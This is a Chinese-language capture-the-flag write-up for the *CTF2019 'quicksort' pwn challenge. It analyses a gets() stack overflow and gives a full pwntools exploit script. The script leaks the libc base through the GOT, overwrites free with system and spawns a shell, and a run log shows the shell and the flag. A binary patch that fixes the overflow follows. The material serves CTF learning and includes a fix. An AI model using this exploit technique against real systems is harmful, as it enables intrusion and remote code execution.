*CTF2019 PWN quicksort

源文件、IDA分析文件、修复文件打包下载:http://file.eonew.cn/ctf/pwn/quicksort.zip

该题主要考验的是对栈的构造能力,以及对算法的简单了解。

程序功能介绍

安全防护

ex@Ex:~/test$ checksec ./quicksort
[*] '/home/ex/test/quicksort'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

主要代码

void __cdecl main_function()
{
  int *temp_ptr; // ebx
  char user_input[16]; // [esp+Ch] [ebp-2Ch]
  int number_size; // [esp+1Ch] [ebp-1Ch]
  int i; // [esp+20h] [ebp-18h]
  int j; // [esp+24h] [ebp-14h]
  int *array_ptr; // [esp+28h] [ebp-10h]
  unsigned int v6; // [esp+2Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  user_input[1] = 0;
  user_input[2] = 0;
  user_input[3] = 0;
  user_input[4] = 0;
  user_input[5] = 0;
  user_input[6] = 0;
  user_input[7] = 0;
  user_input[8] = 0;
  user_input[9] = 0;
  user_input[10] = 0;
  user_input[11] = 0;
  user_input[12] = 0;
  user_input[13] = 0;
  user_input[14] = 0;
  user_input[15] = 0;
  user_input[0] = 0;
  number_size = 0;
  puts("how many numbers do you want to sort?");
  __isoc99_scanf("%d", &number_size);
  getchar();
  array_ptr = (int *)malloc(4 * number_size);
  for ( i = 0; i < number_size; ++i )
  {
    printf("the %dth number:", i + 1);
    gets(user_input);
    temp_ptr = &array_ptr[i];
    *temp_ptr = atoi(user_input);
  }
  sort(array_ptr, 0, number_size - 1);
  puts("Here is the result:");
  for ( j = 0; j < number_size; ++j )
    printf("%d ", array_ptr[j]);
  puts(&byte_8048AD2);
  free(array_ptr);
}

分析

gets(user_input)明显存在溢出。只要我们合理的构造栈布局就可以控制程序流了。

栈布局

-0000002C user_input      db 16 dup(?)
-0000001C number_size     dd ?
-00000018 i               dd ?
-00000014 j               dd ?
-00000010 array_ptr       dd ?                    ; offset
-0000000C var_C           dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004 var_4           dd ?
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

思路

  1. 泄露基地址
  2. getshell

泄露基地址

这里关键是要控制利用sort函数来控制数据流,这里我主要是控制got表。

ex@ubuntu:~/test$ readelf --dyn-syms quicksort 

Symbol table '.dynsym' contains 18 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND setbuf@GLIBC_2.0 (2)
     2: 00000000     0 FUNC    GLOBAL DEFAULT  UND printf@GLIBC_2.0 (2)
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND gets@GLIBC_2.0 (2)
     4: 00000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.0 (2)
     5: 00000000     0 FUNC    GLOBAL DEFAULT  UND getchar@GLIBC_2.0 (2)
     6: 00000000     0 FUNC    GLOBAL DEFAULT  UND alarm@GLIBC_2.0 (2)
     7: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (3)
     8: 00000000     0 FUNC    GLOBAL DEFAULT  UND malloc@GLIBC_2.0 (2)
     9: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
    10: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
    11: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
    12: 00000000     0 FUNC    GLOBAL DEFAULT  UND __isoc99_scanf@GLIBC_2.7 (4)
    13: 00000000     0 FUNC    GLOBAL DEFAULT  UND atoi@GLIBC_2.0 (2)
    14: 0804a084     4 OBJECT  GLOBAL DEFAULT   26 stdout@GLIBC_2.0 (2)
    15: 0804a060     4 OBJECT  GLOBAL DEFAULT   26 stderr@GLIBC_2.0 (2)
    16: 08048a7c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used
    17: 0804a080     4 OBJECT  GLOBAL DEFAULT   26 stdin@GLIBC_2.0 (2)

主要思路是劫持array_ptr,然后劫持got表,将free修改为main函数的地址,这样在程序结尾处调用free的时候,又会重新运行一遍main,而且即使sort之后,下面两个顺序也不会变,这个很重要,所以一定要控制好这个。

3: 00000000     0 FUNC    GLOBAL DEFAULT  UND gets@GLIBC_2.0 (2)
4: 00000000     0 FUNC    GLOBAL DEFAULT  UND free@GLIBC_2.0 (2)
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('1')

main_addr = 0x8048816 # main函数地址
main_addr_int = struct.unpack('i', p32(main_addr))[0]
log.info('gets.got: ' + hex(elf.got['gets']))

sh.recvuntil(' number:')
layout = [
    str(main_addr_int).ljust(16, '\0'), # user_input
    p32(1), # number_size
    p32(1), # i
    p32(0), # j
    p32(elf.got['gets']) # array_ptr
]
# s()
sh.sendline(flat(layout))

sh.recvuntil('Here is the result:\n')
result = int(sh.recvuntil('\n'))
temp = struct.pack('i', result)
libc_base = u32(temp) - libc.symbols['gets']
log.success('libc_base: ' + hex(libc_base))

由于p32函数不支持负数,所以main_addr需要自行转换为int类型。

getshell

# again
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('2')

sh.recvuntil(' number:')

system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
    str(system_addr_int).ljust(16, '\0'), # user_input
    p32(2), # number_size
    p32(0), # i
    p32(0), # j
    p32(elf.got['free']) # array_ptr
]

sh.sendline(flat(layout))

# 把sh 写入到bss部分
temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
    str(temp_int).ljust(16, '\0'), # user_input
    p32(0), # number_size
    p32(0), # i
    p32(0), # j
    p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')
s()
sh.sendline(flat(layout))

sh.interactive()

上面的代码可主要分为两部分。

把free改成system

system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
    str(system_addr_int).ljust(16, '\0'), # user_input
    p32(2), # number_size
    p32(0), # i
    p32(0), # j
    p32(elf.got['free']) # array_ptr
]

sh.sendline(flat(layout))

后面在调用free的时候就相当于直接调用system。

把sh 写入到bss部分

temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
    str(temp_int).ljust(16, '\0'), # user_input
    p32(0), # number_size
    p32(0), # i
    p32(0), # j
    p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')

sh.sendline(flat(layout))

这里把array_ptr指向了bss段,并把sh写入到bss段,elf.bss() + 0x100中的0x100是为了防止换行截断。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import struct

sh = process('./quicksort')
elf = ELF('./quicksort')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
# context.log_level = "debug"

# sh = remote('34.92.96.238', 10000)
# elf = ELF('./quicksort')
# libc = ELF('./libc.so.6')

def s():
    raw_input('#')

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('1')

main_addr = 0x8048816 # main函数地址
main_addr_int = struct.unpack('i', p32(main_addr))[0]
log.info('gets.got: ' + hex(elf.got['gets']))

sh.recvuntil(' number:')
layout = [
    str(main_addr_int).ljust(16, '\0'), # user_input
    p32(1), # number_size
    p32(1), # i
    p32(0), # j
    p32(elf.got['gets']) # array_ptr
]

sh.sendline(flat(layout))

sh.recvuntil('Here is the result:\n')
result = int(sh.recvuntil('\n'))
temp = struct.pack('i', result)
libc_base = u32(temp) - libc.symbols['gets']
log.success('libc_base: ' + hex(libc_base))

# again
sh.recvuntil('how many numbers do you want to sort?\n')
sh.sendline('2')

sh.recvuntil(' number:')

system_addr = libc_base + libc.symbols['system']
log.success('system_addr: ' + hex(system_addr))

system_addr_int = struct.unpack('i', p32(system_addr))[0]
# 把free改成system
layout = [
    str(system_addr_int).ljust(16, '\0'), # user_input
    p32(2), # number_size
    p32(0), # i
    p32(0), # j
    p32(elf.got['free']) # array_ptr
]

sh.sendline(flat(layout))

# 把sh 写入到bss部分
temp_int = struct.unpack('i', 'sh\0\0')[0]
layout = [
    str(temp_int).ljust(16, '\0'), # user_input
    p32(0), # number_size
    p32(0), # i 
    p32(0), # j
    p32(elf.bss() + 0x100) # array_ptr
]
sh.recvuntil(' number:')

sh.sendline(flat(layout))

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Opening connection to 34.92.96.238 on port 10000: Done
[*] '/home/ex/test/quicksort'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[*] '/home/ex/test/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] gets.got: 0x804a014
[+] libc_base: 0xf7d46000
[+] system_addr: 0xf7d80da0
[*] Switching to interactive mode
Here is the result:

$ ls
chall
flag
pwn
$ cat flag
*CTF{lSkR5u3LUh8qTbaCINgrjdJ74iE9WsDX}

修复

原理是在文件的'\x00'填充部分写一个跳转函数,在这个跳转函数里面设置每次接受的字符数目。

1. 修改导入表

将导入表中的gets修改为read,这个直接用vim编辑器就可以做到了。

2. 填充指令

将我们的指令填充在0x8048C90处,具体指令如下。

push 16
push DWORD PTR 8[esp]
push 0
call _read
add esp, 12
ret

3. patched

将下面的指令,

8048901:    e8 fa fb ff ff          call   8048500 <gets@plt>

修改为如下的指令:

 8048901:   e8 8a 03 00 00          call   8048c90 <_IO_stdin_used@@Base+0x214>

这样栈溢出的漏洞就被修复了,修复文件在上面的下载包里。

总结

这题还是比较综合的,不仅考验对栈的构建,还有排序算法需要我们对其进行控制。